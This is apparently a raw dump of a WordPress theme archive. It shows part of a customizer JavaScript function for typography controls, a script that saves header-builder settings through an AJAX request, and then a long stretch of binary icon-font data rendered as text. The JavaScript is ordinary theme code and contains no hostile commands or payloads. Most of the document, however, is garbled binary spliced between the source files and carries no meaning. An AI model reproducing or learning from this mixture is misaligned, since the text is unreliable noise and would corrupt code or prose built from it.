            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value['font-family'], true);
            }

        }

        if (undefined !== value.variant) {

            $select = container.find('.variant select').selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value.variant, true);
            }

        }

        if (undefined !== value.subsets) {

            $select = container.find('.subset select').selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value.subset, true);
            }

        }

        if (undefined !== value['font-size']) {

            // Update the value visually in the control
            container.find('.font-size input').prop('value', value['font-size']);

        }

        if (undefined !== value['line-height']) {

            // Update the value visually in the control
            container.find('.line-height input').prop('value', value['line-height']);

        }

        if (undefined !== value['letter-spacing']) {

            // Update the value visually in the control
            container.find('.letter-spacing input').prop('value', value['letter-spacing']);

        }

        if (undefined !== value.color) {

            // Update the value visually in the control
            typographyColor = container.find('.penci-color-control');

            typographyColor
                .attr('data-default-color', value)
                // .data( 'default-color', value )
                .wpColorPicker('color', value);
        }

        // Update the value in the customizer object
        setting.set(value);

    } else if ('repeater' === controlType) {
        // Do nothing
    }

    /**
     * Fallback for all other controls.
     */
    else {
        // Update the value visually in the control
        container.find('input').prop('value', value);

        // Update the value in the customizer object
        setting.set(value);
    }
}
PK     /w\s    "  builder/assets/js/control-saved.jsnu [        !function (e, $) {
    "use strict";
    var api = wp.customize;

    function getURLparam(sParam) {
        var sPageURL = window.location.search.substring(1),
            sURLVariables = sPageURL.split('&'),
            sParameterName,
            i;

        for (i = 0; i < sURLVariables.length; i++) {
            sParameterName = sURLVariables[i].split('=');

            if (sParameterName[0] === sParam) {
                return typeof sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]);
            }
        }
        return false;
    }

    var changeID = getURLparam('layout_id');

    api.bind('ready', function () {

        if (changeID.length > 0) {
            $('#customize-save-button-wrapper').val(changeID).change();
        }

        $(['control', 'section', 'panel']).each(function (i, type) {
            $('a[rel="tc-' + type + '"]').click(function (evn) {
                evn.preventDefault();
                var id = $(this).attr('href').replace('#', '');
                if (api[type].has(id)) {
                    api[type].instance(id).focus();
                }
            });
        });
    });

    if (changeID.length > 0) {
        $('#customize-save-button-wrapper').hide();
        $('#customize-header-actions').append('<input type="submit" name="penci_save_header" id="penci_save_header" class="button button-primary penci_save_header" value="Save Header" disabled="">');
    }

    api.bind('change', function () {
        $('#customize-header-actions').find('.penci_save_header').prop('disabled', false);
    });

    $(document).on('click', '#customize-header-actions .penci_save_header', function (eventt) {
        eventt.preventDefault();
        $(window).off('beforeunload');
        var setting_value = api._value,
            dataex = {},
            button = $(this),
            dataPush = {
                'action': 'save_header_builder',
                'nonce': penci_hdbd.nonce,
            };

        if (changeID.length > 0) {
            dataPush['setting_id'] = changeID;
        }

        $.each(setting_value, function (i, ev) {
            var settingtext = ev.id.toString(),
                parseID = settingtext.match(/\)\((.*)\)/);
            if (parseID !== null) {
                dataex[parseID[1]] = ev._value;
            } else if (settingtext.indexOf("penci_header") >= 0 || settingtext.indexOf("penci_hb") >= 0) {
                dataex[ev.id] = ev._value;
            }
        });

        dataPush['setting_value'] = dataex;

        $.ajax({
            url: ajaxurl,
            data: dataPush,
            method: 'post',
            beforeSend: function () {
                button.addClass('loading');
            },
            success: function (response) {
                button.addClass('success');
            },
            complete: function () {
                button.removeClass('loading');
                button.prop('disabled', true);
            }
        });
    });

}(wp, jQuery);
PK     /w\`@ @   builder/assets/fonts/eicons.ttfnu [               pGSUB %z      TOS/2>'K  P   `cmap*    cvt          fpgmb.z    gasp        glyf
m  T headxU 8   6hhea
 Q p   $hmtx9n ۔  `loca.   dmaxp^ X    nameC x  post6c	 0  Nprep~;        
 0 > DFLT latn                      liga                        z   z   1                         PfEd  Rj Z                          ,          z     ,  
   N                         	 
                        ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                                                                                                                                  	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~                                                                                                                                                                                                                                                                         $                                                                       	  	  	   
  
  
                                                                                                                                                                !  !  !   "  "  "   #  #  #   $  $  $   %  %  %   &  &  &   '  '  '   (  (  (   )  )  )   *  *  *   +  +  +   ,  ,  ,   -  -  -   .  .  .   /  /  /   0  0  0   1  1  1   2  2  2   3  3  3   4  4  4   5  5  5   6  6  6   7  7  7   8  8  8   9  9  9   :  :  :   ;  ;  ;   <  <  <   =  =  =   >  >  >   ?  ?  ?   @  @  @   A  A  A   B  B  B   C  C  C   D  D  D   E  E  E   F  F  F   G  G  G   H  H  H   I  I  I   J  J  J   K  K  K   L  L  L   M  M  M   N  N  N   O  O  O   P  P  P   Q  Q  Q   R  R  R   S  S  S   T  T  T   U  U  U   V  V  V   W  W  W   X  X  X   Y  Y  Y   Z  Z  Z   [  [  [   \  \  \   ]  ]  ]   ^  ^  ^   _  _  _   `  `  `   a  a  a   b  b  b   c  c  c   d  d  d   e  e  e   f  f  f   g  g  g   h  h  h   i  i  i   j  j  j   k  k  k   l  l  l   m  m  m   n  n  n   o  o  o   p  p  p   q  q  q   r  r  r   s  s  s   t  t  t   u  u  u   v  v  v   w  w  w   x  x  x   y  y  y   z  z  z   {  {  {   |  |  |   }  }  }   ~  ~  ~                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  	  	  	  
  
  
                                                                                                                                         !  !  !  "  "  "  #  #  #  $  $  $  %  %  %  &  &  &  '  '  '  (  (  (  )  )  )  *  *  *  +  +  +  ,  ,  ,  -  -  -  .  .  .  /  /  /  0  0  0  1  1  1  2  2  2  3  3  3  4  4  4  5  5  5  6  6  6  7  7  7  8  8  8  9  9  9  :  :  :  ;  ;  ;  <  <  <  =  =  =  >  >  >  ?  ?  ?  @  @  @  A  A  A  B  B  B  C  C  C  D  D  D  E  E  E  F  F  F  G  G  G  H  H  H  I  I  I  J  J  J  K  K  K  L  L  L  M  M  M  N  N  N  O  O  O  P  P  P  Q  Q  Q  R  R  R  S  S  S  T  T  T  U  U  U  V  V  V  W  W  W  X  X  X  Y  Y  Y  Z  Z  Z  [  [  [  \  \  \  ]  ]  ]  ^  ^  ^  _  _  _  `  `  `  a  a  a  b  b  b  c  c  c  d  d  d  e  e  e  f  f  f  g  g  g  h  h  h  i  i  i  j  j  j  k  k  k  l  l  l  m  m  m  n  n  n  o  o  o  p  p  p  q  q  q  r  r  r  s  s  s  t  t  t  u  u  u  v  v  v  w  w  w  x  x  x  y  y  y  z  z  z  {  {  {  |  |  |  }  }  }  ~  ~  ~                                                                                                                                                       X % H i @G>	dT Lc4	SKKPX@6 	r  r  i 	  	 i  j Y a Q@8 		   i 	  	 i  j Y a QY@fe
+%4/&"#"&/.'&/2?6'4/&"27'&'&/&'&54636"/&47'"/&4?6262@		

	?
-	?
-		?
			
-H?K@-J?G@@	



	?	-
	@-	@
	
%,@I?G-?K@      ^   ' @ X g s  }@zoiLK<;	 L  

~      ~  i 
 	
	g  g Y a Qlked][UTEDBA5421-,%#+%"&4?62"&=462'+"&46;2"/&'72?64/7''&"&/&4?62+"&4?6;2'"&=462"&4?62NM1	D``~-HeHR
-S	fHS

-Sf-Heaa|NNNNa`>	+$,eS,
SHeS,SHfI,e"``2NM        C  @ @) :LK
PX@2     ~ p   g W ` P@3     ~ ~   g W ` PY@&56%5%+26=4&+"2?#!"&546;2+"3!276=46;2=A%A.-BA.$$@=	
A%#{,CB-@.A$${      /  @ L  v+764&"'&"2?2764'D"#!!I##"#     R 	 & M Y e q5@ "'EL	JK
PX@m    r  r 		  g  jW h  

i  i g Y a Q@n      r 		  g  jW h  

i  i g Y a QY@0hf\ZPNnkfqhqb_Ze\eVSNYPYIGBA=;:85420&+#575#57#5767654&"346235#>54&#"3462+32"&5#32654&!"3!264&!"3!264&!264&#!"S9	
$		'Q	
			
	

b%%%@T
	


+	
&""""""        |   $ - 6 ? u@r 
 
   
 ~ g 
i
 
i	Y 	h	a 		Q87/.&%<;7?8?32.6/6*)%-&-!$$32+#!"&463!2!"3!264&!264&#!"'"264&"264&'"264&|%*%%%%4$$%%4$$%%4$$^"""""i%4$$4%%4$$4%$4%%4$       Y  - q Q@N*,_8/ L r  i   i   Y   _ O...q.kPIGD.))!+%3254'.'&/"53276767654'&'&'&#"7676?6575'&/&'#&"'#&#'2?6;2#"&#"y	! 			 O&>,'
	3A &3u'


a3	!@
A0#      Y IK	PX@ ;7 LK
PX@ ;7 LKPX@ ;7 L@ ;7 LYYYK	PX@'       Y a   QK
PX@&        W  a   QKPX@"      Y a   Q@'       Y a   QYYY@FB=<!/+%76?67676=&'&#"'7332?2#"/&#&#"M
90
H
'

&e
Q	!b/>	        X X hK	PX@ C,+ aY	
LK
PX@C,+ aY	
LK@ C,+ aY	
LYYK	PX@&  i  
i 
		
W 

	_ 	
	OK
PX@0  Y  Y  i  
i 
		
W 

	_ 	
	O@&  i  
i 
		
W 

	_ 	
	OYY@ ec][NL87531/ XX+"/63272727"327676767654/&/&'&#'53?##"&'&'&=4'&#!"&=463!2

6N)#
!C'0H/6K :'\Z(
	2G	y;'%(6j>4     l % *@'    W aQCC&5+".4>;29+#9"&5##9"&5.L+,K.**H#AZB$aa       k  AK
PX@A54
`X
 LKPX@A54
`X
 L@A54
`X
 LYYK
PX@4 

	
i  g  Y   W  _  OKPX@0 

	
i  g  Y _  O@4 

	
i  g  Y   W  _  OYY@! {xsl]\RPKD><'! +%"&"#"&46?6765'&+"32#"&"#"&4632?6765'4/.'&#'"&5476322632#";76=4'&/&'&546322632+"7'737#52>=(/&	


(0$	

	(0$		&/&			
 r%	'x.

'/

	

	
,ii,	
	
-&T'!         @6YUL 	
i i  g  W  Y _  O ՅurleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+""#".'&54>7622>7653#4767676?67676764'.'&w&1&	
(1$		
(0$	

&0$		

		
.
'%e 					'-	')
-ss-		
,&B


##'	Q
           @d:L  
	i  i  g  i  Y  g a Q ŷ~}trnihfa`[ZTRNHEB+%  +%"&"#"&47672?676=4'&+"32#"&"#"&47672?6765''4'4/&#&"&46322632#"374'&#"'&54622?2#"374>2332767>4.+5;27654&'&'&#""'&/&'&54>2#"&'&'&w'0&			
(1$	
(0%

	0*	
-%
	
	)3$"
&)'-	'*

-ss-	-'=	$
#	
'        qK
PX@6YU LKPX@6YU L@6YU LYYK
PX@@ 	
i  gg Y   W  _  OKPX@= 	
i  gg  Y _  O@@ 	
i  gg Y   W  _  OYY@/ urleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"77#527>76=#5733'35w&1&	
(1$		
(0$	

&0$		

%
1T	'-	')
-ss-		
,&Z'!	../n        @6YUʄL 	
i  g  g  i  Y  g a Q úurleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"7332767676=4'&'.'&#"/3273>536?6372"&'&'&54676?62w&1&	
(1$		
(0$	

&0$		

n
	
	 ,(+3$		'-	')
-ss-		
,&.		QY&+
         @6YULK	PX@M  p	
i  i  g  Y  g b R@N  ~	
i  i  g  Y  g b RY@/ urleXWPNJD@>.,(" +%"&"#"&46?676=4'&+"32#"&"#"&4632?6765'4/&/&#'"&46322632#";?4'&/&'&546322632+"7"32767676=4'&/&/&'&7"'.5'&54?67&'&">767632#"&'&'&54?>?67>2w&1&	
(1$		
(0$	

&0$		





a
	'
	+ .
+5	'-	')
-ss-		
,&		

				
l&	)2"(	
         # K 2@/3 Li  Y a  Q568)556'++"&=46;26=4&+"&=46;2+"'.=46;26=4'&+"&=46;2.D!"t"  -	D!"tH:
'.
!t!":
'- 
	"t"       1 4@1$L       v 10)(
	 +%".?'&4>6.26'>/7>.2








	







~g





     jR     0@-   g  g W _O+3#%!!!!!!XXXRXX   jR     $ ( O@L
  	   g W _ O ('&%$#"!  +"27>764'.'&#3#535#535#53f]Y&''&Y]]Y&''&Y]SSMR'&Y]]Y&''&Y]]Y&'<`SSTSS hT 5 g   t@q
fgL L

  i  	i 	
	
i  i   Y  a  Qih uthicbVTDB97,*	 55+/67>764'&'&'1&&'&'.7&>6%767>'6.&47676766'&'7"'.'&74>762"7>764'&'.bZ &*/b.1J$%216612%#"HLMccMLHEMR[@AFF[[FFB**:8=>89**U85r6'%$6!7#%P%$8$%' ,==,
:&K.3k2.%''$/16SFddKKddEHLHFA@[\DD\[@V>96)..*59};7V7"'+(H7&$R&$7e-:@:*@    g  )@&     W  _ O%!&!#+#";27676=324+54.#"??!;??	}"	}        # A@>   g g W _O  ## 	+!264&#!"!264&#!"!264&#!"h%%%%%%%%%%%%%2&&2%%2&&2%%2&&2%    	    A         # T@Q
  g	gW_O#"! +35#35#35#535#35#73535#35#35#`fT``     jR   + 7 C O v@sL g  g   g  
g
 
g		W	_ 		OED98-,!  KIDOEO?=8C9C31,7-7'% +!+
 +!"3!2654&#!"&5463!2%!264&#!"7!264&#!"!"3!264&'!"3!264&%%k$$		k X$%%w$K		w}l}      =  - : F O X v@sAL   i 

i 		i i  iYa QPPHG/. PXPXUTLKGOHODC>=54.:/:$#-- +"27>764'.'&"'&'&476762"26=4&"&=462'"264&"&462aYV$&&$VYYV$&&$VYavfc:<<:cffc:<<:cfw%$4%%$$4%%=&$VYYV$&&$VYYV$&k<:cffc:<<:cffc:<$%%$		%4$%3%S       B \ h  @x
F
E5RLoL 
 

      	i  gYaQDCwuqpfe`_USONIHC\D\=<8721*)$#BBK+.6?213251327>/7%22654."2>54&""&=46'"54&"26=32>=4."&=462&'&'&'53264&+5676?6."'&'&'.#";676767632327>}*}*00$0800:/$4%%"!00"$4%%4$		(	 		!ppS$		00S00%%S$*T1S0%%S$$				
			
       C    # ' * < M _ Y@V)$ \9*'&%! 
#("LJ        Y a QXWPOJIBA54-,+'&'#&+#32727376477''%&"264/764764.264'%&"264/764
_>>!!}!Ȟ}}nn3`SSEEmG_B>B!B}!<}}nnSSEE    X B T a p b@_po]ZJI^YhgTOF@0-	eEL     iYa QVU\[UaVa53/.*(#!+&/76&'&'&'&"3267676326/623227>/7676/732?6?"'6 &'&&'76?
q3KF``FK3	q;.7-?!
ll!>-7.;4H~1T	&(R_B6556B_=~H
(&	Tz
%i	

	i%

b>?
b
+pQ	
@
%%
p+)

	          7 T o [@Xh0`(L  g
g	Y	_O:8 ljdb[YMJA?8T:T42,*#!	 +!";;2676=4&+7>=4&+"&5463!2%!";;2676=4&+7>=4&+"&5463!2%%hbJx%$#a=5%,	}$%%hbJx%$#a=5%,	}$$%E11	VFnv$mi:G
F)Z$>$%E11	VFnv$mi:G
F)Z$       . ^ X@U-L,%$I  
 gg	  Y	 _   O1/! WTPNIFA>;8/^1^*( .!.+.6?32?676/32>&/"'&'#"!";264&+"&=463!2+";2>=4.?G	]JXS8I	000		$%$$00?6		z!	/00%$$%00     m   , 9 E Q ] t@q   g
i
 
g	i W _ OTRHF<:.-!  ZWR]T]NKFQHQB?:E<E43-9.9'& ,!,
 +!"3!2654&#!"&5463!2"2>4.".4>2)"3!264&'!"3!264&'!"3!264&%%k$$		k'C((CNC('C(00800		M				M				M	m%`%%%!				>(CNC((CND'080080}}    
    m  = R U j m ~    @Tl
L	1K  ~ 		 ~  i%i "i&i'	Y#!  g 
 
i  i$ g'aQpnkkSS  {yvun~p~kmkmedbaSUSUONKJ==8743/.)($#  (+7""&=4622654&"2654&%22654&"2654&""&=46'.6?327>'7%.6?3327>/7#"26=3264&#532"#54&"26=326=4&%26=3264&+";h$4%%4$$4%%4$?>
Af>?A
b)	%%		SS*}		)S	%%S$$	h	%%S%%	S	?--8,,#			>%4$S*S????          " 2 6 F J Z ^ k@hLXD0 Kg
W  i
_	OMK97%#^]\[URKZMZJIHGA>7F9F6543-*#2%2+&"264/764'&"2?64%#";26=4&#53%#";26=4&#53%#";26=4&#53b**e**z			}}			}}			}}))#))J}		}}T)}		}}T)}		}}T    	  jT   + 7 C [ y  d@/E
jdTl\{		LyKK	PX@r r  r  
 
g g  h  g g   h   g 		g W _ O@t     
 
g g  h  g g   h   g 		g W _ OY@?:8.,"  |utonhfa^QNIF@=8C:C41,7.7(% +"+
 +7#";26=4&+"&=46;2!264&#!"!"3!264&!"3!264&&+";26=4'76.+"&=46;2'&";6?&+";26=4'576.+"&=46;2'&";2?%%%%				G			P		G				G	K%%%(2			M-?		B-%%%(2			M-?	B%$$%		38,$$$9	n-?_,$%%9
		n->	^           # / ; G S _ k w   @  gg g!g"	
	g#

W#

_
Ozxnlb`VTJH><20&$ }xztqlwnwhe`kbk\YT_V_PMHSJSCA<G>G750;2;+)$/&/## $+!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&!264&#!"!"3!264&!"3!264&!"3!264&!"3!264&!"3!264&_		_		_		_		_				$		`	`				`				`				`					#	}}}}}HT}}}}      jR 3 8 M ^ d m@j		!
	L   i  	i	 
	
i gYa Q__NN:9_d_da`N^N^WTDC9M:M8654+*#3*+76.&'53264&+";'.2767654'&%3'"'&'&476762"3!2654'&'&22Re				fQ32J)+<:cefc:<+**k]Y5665Y]]Y5665Y]kM	0/QRKMOpD
D8XX7C
D=VYdwfc:<<:cfwcZVT64Z\\Y4664Z\]Y56		`RQ/0#OM     2 X  @ 0`7)*	L    		 
i  i		Y		a	Q43{zvurplkhgcb]\QOKI?>:93X4X-,4+/.#'#2?265264&6?2654&7"265462;264&+76=4.4."265462#"32"&54&"2>54&'>}|YYS-0%4${y0o/:/$4%%%%4$080H}|Y}YH}
DM/%%%0h//%%4$%4$$		00++           . = I U a X@UL
   g	g W _ OXVKJ?> ][VaXaQOJUKUEC>I?I
 +!"3!2654&#!"&5463!2&2676&%&2676&#";264&!#";264&!#";264&%%k$$		k}}F}}TTEo		%$%%		@MM       M ;@8C<5 L   Y  a
	 QHF@?++&"'&'&""'&'&""'&'&""'&'.3276727672767327676&"5#"6"#4#"5"0,!$%B%$B%%!,0				
**   >    , / ; g@d L   h 
  g 		gW_ O20 850;2;/.&%,, +!264&#!"%3276/&"7##"2?>'&'3%!"3!264&*		l	V}}S}}Swl			

oo       / G V@S81L 	 
   gW_O GFA@;:54(%!	 //+!"3!264&#!"&=463!2#!"3!2>=4.4&"'&"2?64&"k00$%$%%$00YY}}00%%%$00Yn		Y}}        - u x |    @zyw_T,
	fL]K+$#I 		 		~  g
g  Y _   Ovv0. ~}|{vxvxnk[ZVUQPGE@=:7.u0u)'- -+.6?32?>/32>&/"'&'#"!";264&+"&=463!010126=7327"3!2>=4.5573#75#?F?G	]JXS8I	0\00}		}$%BG006qB}BB4?6z!	/00%$h}>		6G	00*55BpBB4           Y f @aV	P	LK	PX@J r   g 
i 
 	
i 	 	i i  i W ` P@K    g 
i 
 	
i 	 	i i  i W ` PY@-[Z!  _^Zf[fRQNLGF@?9831.-(& Y!Y
 +!"3!2654&#!"&5463!2"326764&"#".4>2"&'74."3267267654."&462%%k$$		k{>j>>j>,S C%3V33VeU3!0801-A0>i>%%3#$%$%%		>i|i>!2VfV32U20080+ >i>$4%#!     0 U a m y @!L 

    g i g		i g 
gW_OpndbXV31 vsnypyjgbmdm^[VaXaQOLJFEBA><971U3U.+&#	 +!"3!2?!2>54.#!"'&#!"&5463!2#"#";26=3264&+546;264&!"3!264&7!"3!264&'!"3!264&00ww00"$	nn	%%${*0		??%*		#	t`				`			0_0ww00%oo%$$0		$}}      iR  # S W | @ug2&v^GL5
K 

   g  i g  

g  	g 	 	g W _ O%$ {xki`_][WVUTLJDA<9/,$S%S!	 +!"3!2>54.#!"&5463!2#764/.+"#54&+";26=3!26?6.#3#!'5326?6=46;2;20000"$%%$Ŝ%K				5,(;(=$CQ	
	%R0000%%$$'^(%K		25'+ `M "KL .	)   jR   ' , / ; G @.*L   g g g 	g	 	g

W
_ 

O><20-- DA<G>G850;2;-/-/,+)("'' +!264&#!"!"3!264&!"3!2654&!)7#";264&#"&46;2		B	B				B			Np_5f"11"#01"(S}		*q66S1E11E1}""           # ' 3 ? \@Y! L  g
W
_	O64*( <94?6?0-(3*3'&%$##	 +#";26=4&#53%#";26=4&#53%#";264&#"&46;2		b	N"11"#00#}		}}T)}		}}T)0E11E0}""          # ' 7 ; K O _ c s w @5! iUAL  g
	ggW_OedQP><)( wvutnkdsescba`ZWP_Q_ONMLEC<K>K;:982/(7)7'&%$##	 +#";26=4&#53%#";26=4&#53%#";26=4&#53#";26=4&#53%#";26=4&#53%#";26=4&#53$		b	b	z		b	b			*		*				)		)		     m   # ' 7 ; a@^-L  g  g g
W
_	O*( ;:981/(7*7'&%$##
 +#";26=4&#53#";26=4&#53!"3!2654&!!						e		qm				Ц		ЧM		       # ' 7 ; K O _ c s w       @5}L&g
	%$  g)'g(g, +*#g"W"_!OzxfdQP=<*( xzwvutnkdsfscba`ZWP_Q_ONMLEC<K=K;:982/(7*7'&%$##
 -+326=4&+"73#!26=4&#!"7!!%#";26=4&#53#";26=4&#53!26=4&#!"7!!%#";26=4&#53#";26=4&#53%!"3!26=4&!5!%!"3!26=4&#53			w	N			zw	M					}}		M	#		#			Ч)		Ч		ѧ				Ц				Ц				ЦЧ)Ч)Ч        # ' 7 ; K O _ c s w @I	
iL  g  
g
	
	gg g  g  g W _ OedQP><)( wvutnkdsescba`ZWP_Q_ONMLEC<K>K;:982/(7)7'&%$##	 +#";26=4&#53%#";2654&#3%#";2654&#3#";26=4&#53#";26=4&#53%#";26=4&#53$		b	b	z		b	b			*	_	_w*			M	#		}				}		     jkR   % : G n  @}|xslgd\UT	

 L
	
	
i 	 	i g  g  W  _  OIH<;'& HnInBA;G<G10&:':!%$ +2!"&5467%2#!"&463%2#!"&4632"'&'&47676"2>4.22/'&'&57'&5>3?4676'46?'"&'V

8



<

		

TIG*++*GIIF*++*FITJ|II||II|J
.dG\WKd-
	B2?>2Cl	
h+*GHIG*++*GIHG*+*H||II||HSX	Gd).dGW	C>.
C!!C.   jR   E O Z ^ @G YRQNHL    ig i   i	
	g

Y

_ 
OPPFF ^]\[PZPZFOFOKJ@>=;7520/-(&%# EE +2>4."72"&46%!53264&+";!"3!#";264&+5!2654&'&#572?)!//900%%4$$!S		K				S		
	k6/:/080$4%%4$SS	<	SS		*ɒ7f	  	  jlR  % - 9 E Q ] f o @-($L    g i i  g g 	g	 
	
gW_ Ohg_^SRGF;:/.lkgohocb^f_fYWR]S]MKFQGQA?:E;E53.9/9'&%%)2+4&#!"3!273053?'.'&!76?!"3!264&!"3!264&!"3!264&!"3!264&264&"72"&46k	<		*noB#11E11""=		6F`G}}}1E11E1}""      (   1 A c r { K	PX@!|/
:k qpfeb\VQ'LK
PX@!|/
:k qpfeb\VQ'L@!|/
:k qpfeb\VQ'LYYK	PX@[ 		 		~   i  i

g i   iW_ OK
PX@` 		 		~   i  i 
W

g i   iW_ O@[ 		 		~   i  i

g i   iW_ OYY@CddBB32 ~zyvudrdrBcBc_^YXTSPOIH2A3A,)$!11 +2>4."72"&46%#654."!"3!2654&%2&'&54>2?67673'&"'&#'&#567?4&"26'462"&//900%%4$$'CNC(			0('&(1l,,U
X$4%%4$S40:/080$4%%4$'C''C';}01U8?=:U10=S,0		0,S=f	7ei7$%3%%   jR   D a q @p4' 9	&	ohgQK
L  	 	 	 	~ 

 

 g  i    iW_Ocbmkbqcq][TS?>;:,*%# DD+2>4.""&462%!"3!264&#!572?6.'&!2654&.?32?>/3276&/"'&'#"}080/90%4$$4%B				K
hYe
j\}W^X^		\Zm009/0%%4$%	<	

	7		G	
S?	,	H 	  jkR   ' + 7 G K T ] @'"L  g i i  g g 
g 
 	
	gW_ OVUML98.,(( ZYU]V]QPLTMTKJIHA?8G9G41,7.7(+(+*)! 
 +!"013!2654&'.'&!76?!!"3!264&!"3!26=4&#53264&"72"&46V<			no7h6			\$#11E11""R	6			*	F`G6w	S		S	S)1E11E1}""   jR      # [@X  gg  
	
g		W		_ 	O    # #"!
 +!"3!2654&!!%#3!!!)5!B			wR	B			`66   jR ? q   'G  %5654'.'54&'67654'&'&#"&'&"7326?6767654'&'#'&327#"'.54767676?6767'754&">=4&"327&'&547632276?65327&'&'&&'6767676324767676767632&'&>.#"&4632676762&+"#"/&#"327#".%0##"'.=4763272"'!8%951:7Dc*%8$<#mOG5$%!3I'!*?1VD"27,(%.*%-$ f	%/%$(&%	
)*7ZVs`
*F=LDB?):!(0,>35-
IHP?G*	"11"ZiOQ1'		
++!  8.28*,LSE`X#09L=">}

-Z>-$*	%c=62/&3#;!WI>8'7P	N&(#	$V
		 

 0?RJB40	
(-1;0,#
!5:HPZ		1F0?0$	
!@#$(1a!0@v"     jU   ! H \ b n @ bZFB;2/)(	L J	

   g g  

j W _ OdcJI"" khcndn^]WVSQI\J\"H"H?>54,+!  +#54&#3!2654&+7!!"54&"&=4&"26=>=4&3";2654&#476?#";264&>
^	qS6!!t)

)	h
}		A	Ls*.cc.***4		4**F7
h		$          " + 8 A a@^  i
Y
a	Q:9-,$# >=9A:A32,8-8('#+$+"" +"2>4."&462%"2>4."&462%"2>4."&462}00800%%3%%]00800%%3%%]00800%%3%%080080%3%%4$080080%3%%4$080080%3%%4$          " & + 7 C O @ L  g
	g g g g W _ OFD:8-, KIDOFO?=8C:C20,7-6+*)'&%$#"! 
 +)"3!3!265326=4&!5)3#!!7+53";264&##";264&#";264&				$wѼ>								}	!			}}TT)T}}   ]=   " + 8 A u@r i   i i i 
i
		
Y

	a 	
	Q:9-,$# >=9A:A32,8-8('#+$+"" +2>4."72"&46"2>4."&462"2>4."&46200800%%4$%00800%%3%%00800$$4%%m080080%4$$4%080080%3%%4$080080%4%%4%          3 X  @1`8*x	+	L 		   g
i  i		i W ` P54 {zvurplkhgcb]\QOKI@?;:4X5X.-
 +!"3!2654&#!"&5463!2&6?2654&7"265462;264&+76=4.4."265462#"32"&54&"2>54&'>%%k$$		k-S-0%4${y0o/:/$4%%%%4$080%$%%		?}	DN0%%	%1i00%%4$$4%%00++       ' + 4 = @
75/-*(	2+4/764'%&27%64/76%%727%%727%
xw!	!wwww
xwNNfLLn<<Ln<<n^D>>D
>D
E>?{>>        $ ? I n  \@Y   g
 	 iW_O&% }xvsp`^NLHFEC8631%?&?#!  +#"1"326?326?6.+732%#"1"326?326?6.+732'.+76.326?32326?6&%&+";32?6W)	U$9""K FW)	U$9""K F"<	>	&F				SD,#%]}"K	SD,#%]}"+:		"Y	Y%x	
     =    + 7 G K W c o     @=}L   g  g g! 		g  
g"
 
g $g# g% g  g& g (g' g) g W _ OrpfdYXNL:8.,!  ywprlidofo`]XcYcTQLWNWKJIHA?8G:G41,7.7(% +!+@
	 *+#";26=4&#53!264&#!"73264&+"!"3!264&#";26=4&#53!"3!264&%3264&+"!"3!264&#";26=4&#53!"3!264&%3264&+"!"3!264&		ВG					P		G	3				G		P		G	3				G		P		G	=		}S}}		S*}}		S)}       m    + 7 I Z z@wQF	L  
 g
	
Y 		g i g W _ O.,"  VUMLBA:941,7.7(% +"+	 +!"3!2654&!!3264&+"7!264&#!"7!264&#!"'&"264/764'&"2?64-		qH				6				6	TTEEeSEESm		`SSwSSEEMSEES      jR = G b u  =@:|urSE 4(!L       v\Z86-+&%+47654 #""#101&'&27327676'&'732767>'&'.'&'.7676327'0"1'&'.'&'&?'&'&767'&q).2/5%/1%\  E;G2"%/,*!*(48V!
XN,%("1)$ 
	
	>`:L0BUk/:ANq)6:;%/]H^ D&0%5.2.!!
!V84(N
$+0)"(%,>:`g04..)%.lTB&         " 2 6 F J Z ^ j v     @XD0L g
	g! g  i$#"W$#"_Oywmka_MK97%#~|wyrpkvmvfd_jaj^]\[TRKZMZJIHG@>7F9F6543,*#2%2%+&"264/764'&"2?64%#";26=4&#53%#";26=4&#53%#";26=4&#53#";264&3#";264&3#";264&#";264&3#";264&3#";264&wTTEEeSEESQ}		}TT}		}TT}		}TT!}		}}		}}		}S		SS		SS		SSSDEMSEDS}		}}S*}		}}S*}		}}SS          / 3 ? O S _ o s        @M- mL(&$ 	 gg)'
%g.,*!g g/"-+W/"-+_#Outb`TTA@54!  |ytusrqpig`oboT_T^ZXSRQPJG@OAO;84?5>3210*' /!/	 0+#";26=4&#53264&+"3#";26=4&#53264&+"3#";26=4&#53264&+"3#";26=4&#53#";264&#";26=4&#53#";264&#";26=4&#53#";264&$											6			n				n			w		w		T		M		M		       / 3 ? O S _ k w @M -	E
L  g  g g g 		g g g  
g

W

_
Omla`UTB@64!  tqlwmwhe`kak\YT_U_SRQPIG@OBO;94?6?3210*' /!/
 +#";26=4&#53264&+"3#";26=4&#53#";264&!"3!2654&!!3264&+"7!264&#!"7!264&#!"								qG!		w		w			T		e}}   jR   # ' 7 ; G T ` p t             @HL2g
	10  g34g7g65g"9 8:#!$g=,<(;$/+'&$'g.*&%%&W.*&&%_-)%&%OvubaUU=<*( е|uvtsrqjhapbpU`U_\YRPMJB@<G=F;:982/(@7*7'&%$##
